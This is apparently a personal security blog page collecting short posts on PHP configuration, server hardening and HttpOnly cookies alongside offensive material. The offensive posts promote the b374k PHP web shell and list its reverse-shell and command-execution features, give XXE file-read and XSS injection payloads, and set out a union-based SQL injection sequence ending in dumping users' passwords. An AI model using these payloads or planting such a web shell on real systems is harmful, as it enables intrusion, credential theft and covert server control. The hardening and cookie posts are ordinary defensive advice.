Diwakar's Blog

http://diwakarko.blogspot.com (दिवाकरको ब्लग)

PHP per-directory INI settings

No comments
Most of the configuration variables can be set on a per-directory basis. This can be used when you have a single web server that is serving multiple applications, and:
  • You want to use a different application name for each of those applications.
  • You want to tweak certain settings on an application by application basis.
The mechanism to set per-directory values depends on the environment. This document describes the three most common environments (Apache, php-fpm, and nginx).

for more info

No comments :

Post a Comment

b374k-PHP shell

No comments
PHP Webshell with many features such as :

  • File manager (view, edit, rename, delete, upload, download as archive,etc)
  • Command execution
  • Script execution (php, perl, python, ruby, java, node.js, c)
  • Give you shell via bind/reverse shell connect
  • Connect to DBMS (mysql, mssql, oracle, sqlite, postgresql, and many more using ODBC or PDO)
  • Process list/Task manager
  • API to control this shell within another scripts/programs (see wiki)
  • All of that only in 1 file, no installation needed
  • Support PHP v4 and v5
  • Search function (ver 2.4)
  • Hex editor (ver 2.4)
  • SQL Explorer (ver 2.4)
b374k ver 3 is on github https://github.com/b374k/b374k


No comments :

Post a Comment

Web Server Security and Hardening Tips

No comments
Server Hardening is the process of enhancing server security through a variety of means which results in a much more secure server operating environment. This is due to the advanced security measures that are put in place during the server hardening process.


Server Hardening Tips & Tricks:

Every server security conscious organization will have their own methods for maintaining adequate system and network security. Often you will find that server hardening consultants can bring your security efforts up a notch with their specialized expertise.

Some common server hardening tips & tricks include:
- Use Data Encryption for your Communications
- Avoid using insecure protocols that send your information or passwords in plain text.
- Minimize unnecessary software on your servers.
- Disable Unwanted SUID and SGID Binaries
- Keep your operating system up to date, especially security patches.
- Using security extensions is a plus.
- When using Linux, SELinux should be considered. Linux server hardening is a primary focus for the web hosting industry, however in web hosting SELinux is probably not a good option as it often causes issues when the server is used for web hosting purposes.
- User Accounts should have very strong passwords
- Change passwords on a regular basis and do not reuse them
- Lock accounts after too many login failures. Often these login failures are illegitimate attempts to gain access to your system.
- Do not permit empty passwords.
- SSH Hardening
--- Change the port from default to a non standard one
--- Disable direct root logins. Switch to root from a lower level account only when necessary.
- Unnecessary services should be disabled. Disable all instances of IRC - BitchX, bnc, eggdrop, generic-sniffers, guardservices, ircd, psyBNC, ptlink.
- Securing /tmp /var/tmp /dev/shm
- Hide BIND DNS Sever Version and Apache version
- Hardening sysctl.conf
- Server hardenining by installing Root Kit Hunter and ChrootKit hunter.
- Minimize open network ports to be only what is needed for your specific circumstances.
- Configure the system firewall (Iptables) or get a software installed like CSF or APF. Proper setup of a firewall itself can prevent many attacks.
- Consider also using a hardware firewall
- Separate partitions in ways that make your system more secure.
- Disable unwanted binaries
- Maintain server logs; mirror logs to a separate log server
- Install Logwatch and review logwatch emails daily. Investigate any suspicious activity on your server.
- Use brute force and intrusion detection systems
- Install Linux Socket Monitor - Detects/alerts when new sockets are created on your system, often revealing hacker activity
- Install Mod_security as Webserver Hardening
- Hardening the Php installation
- Limit user accounts to accessing only what they need. Increased access should only be on an as-needed basis.
- Maintain proper backups
- Don't forget about physical server security
 

No comments :

Post a Comment

Protecting Your Cookies: HttpOnly

No comments

What is HttpOnly?

According to the Microsoft Developer Network, HttpOnly is an additional flag included in a Set-Cookie HTTP response header. Using the HttpOnly flag when generating a cookie helps mitigate the risk of client side script accessing the protected cookie (if the browser supports it).
  • The example below shows the syntax used within the HTTP response header:
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
 
If the HttpOnly flag (optional) is included in the HTTP response header, the cookie cannot be accessed through client side script (again if the browser supports this flag). As a result, even if a cross-site scripting (XSS) flaw exists, and a user accidentally accesses a link that exploits this flaw, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.
If a browser does not support HttpOnly and a website attempts to set an HttpOnly cookie, the HttpOnly flag will be ignored by the browser, thus creating a traditional, script accessible cookie. As a result, the cookie (typically your session cookie) becomes vulnerable to theft of modification by malicious script.

Using PHP to set HttpOnly

PHP supports setting the HttpOnly flag since version 5.2.0 (November 2006).
For session cookies managed by PHP, the flag is set either permanently in php.ini PHP manual on HttpOnly through the parameter:
session.cookie_httponly = True
or in and during a script via the function
void session_set_cookie_params  ( int $lifetime  [, string $path  [, string $domain  
                                  [, bool $secure= false  [, bool $httponly= false  ]]]] )
For application cookies last parameter in setcookie() sets HttpOnly flag
bool setcookie  ( string $name  [, string $value  [, int $expire= 0  [, string $path  
                 [, string $domain  [, bool $secure= false  [, bool $httponly= false  ]]]]]] )



Web Server

Implement in Apache:

1.     Ensure you have mod_headers.so enabled in Apache instance
2.     Add following entry in httpd.conf
Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
3.     Restart Apache Web Server
Note: Header edit is not compatible with lower than Apache 2.2.4 version. You can use following to set HttpOnly and Secure flag in lower than 2.2.4 version. Thanks to Ytse for sharing this information.
Header set Set-Cookie HttpOnly;Secure

Verification:

Open your website with HTTP Watch, Live HTTP Header or HTTP Header Online tool.
Check HTTP response header, you should see as highlighted
Cookie Httponly Secure
Secure your web application today!
Read - Apache Web Server Security & Hardening Guide - Practical Guide



No comments :

Post a Comment

Hide Zip Files Inside a Picture

No comments
Picture says more



No comments :

Post a Comment

XML External Entity Attack Hints

No comments

Overview

XML External Entity Attack may result when an application allows an input parameter to be XML or incorporated into XML which is passed to an XML parser running with sufficient privileges to include external or system files.

Discovery Methodology

Attempt to inject XML or reserved characters into input parameters and observe if XML parsing errors are generated.

For web services, check each input parameter specified in the WSDL document for those of type XML.

Exploitation

Use information disclosed in error messages to determine at what file path the XML parser is parsing. Cause errors to occur using malformed XML, XML that starts with whitespace or null characters, and XML that does not meet the XSL specification.

Also try to load files that dont exist in order to determine operating system type and the path at which interpretation is taking place.


Example

XML is well-known for containing data (text nodes) which are marked-up by tags (element nodes). XML has the ability to have place-holders called entities. Web developers often used pre-defined entities without realizing they are using an XML entity. For example the less than symbol < can be represented by the pre-defined entity <. The < entity is defined in the parser itself. There is no need to declare the < before using it. However developers are allowed to declare their own entities. XML documents also contain a mechanism by which they can import and include external files as part of themselves. The imported file will be included into the XML docment whereever the entity exists.

Here are some examples to try

Valid XML without entities
Hello World
XML with the predefined " entity

"Hello World"
XML with the user defined myEntity entity

]>Hello &myEntity;
XML with multiple user defined entities

]>&myQuote;Hello &myEntity;&myQuote;
The section of an XML document optionally defines external files to be included as part of the XML document. Interestingly these can even be files from the system parsing the XML.

To declare an external entity, the directive defines the resource represented and the symbol that will represent the entity. In this example, the type of entity is a local system resource as indicated by the "SYSTEM" type, the resource is a local file (./robots.txt), and the symbol that represents the entity is "systemEntity". Entities do not have to be external but in this example the system file happens to be an external resource. Entities can also be strings or other local variables.


The XML parser will import the file. The file can be output into the XML document by placing the symbol in the document preceded by an ampersand (&) and followed by a semicolon (;).
&systemEntity;
In an external entity attack, XML is injected or uploaded to the site in an effort to get the XML parser import the injected entity into the XML, then output the contents of the entity.
]> &systemEntity;
If the web server is misconfigured or given too many privileges, the XML parser can import operating system files. This example works on many Windows systems.
]> &systemEntity;
The output will look similar to the following
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn ;
Other injections are possible. This version uses injected comment symbols to alter XML. This is useful for filter bypass.
Hello World <!-- NJ
This is a slightly different version of XXE to fetch the robots.txt.
]> &systemEntity;;
This injection results in a cross site script.
$lDOMDocument->textContent=<![CDATA[<]]>script<![CDATA[>]]>alert('XSS')<![CDATA[<]]>/script<![CDATA[>]]>
This injection also results in a cross site script.
<script>alert("Hello World")</script>

No comments :

Post a Comment

Some SQL Injection

No comments
1. ?id=1
2. ?id=1' --+
3. ?id=1' Order by 1 --+
4. ?id=-1' union select 1,2,database() --+
5. ?id=-1' union select 1,version(),database() --+
6. ?id=-5' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 2,1--+
7. ?id=-5' union select 1,column_name,3 from information_schema.columns where table_name="users"--+
8. ?id=-5' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
9. ?id=-5' union select 1,group_concat(column_name),3 from information_schema.columns where  table_schema=database() and table_name="users"--+
10. ?id=-5' union select 1,group_concat(username), group_concat(password) from users--+

No comments :

Post a Comment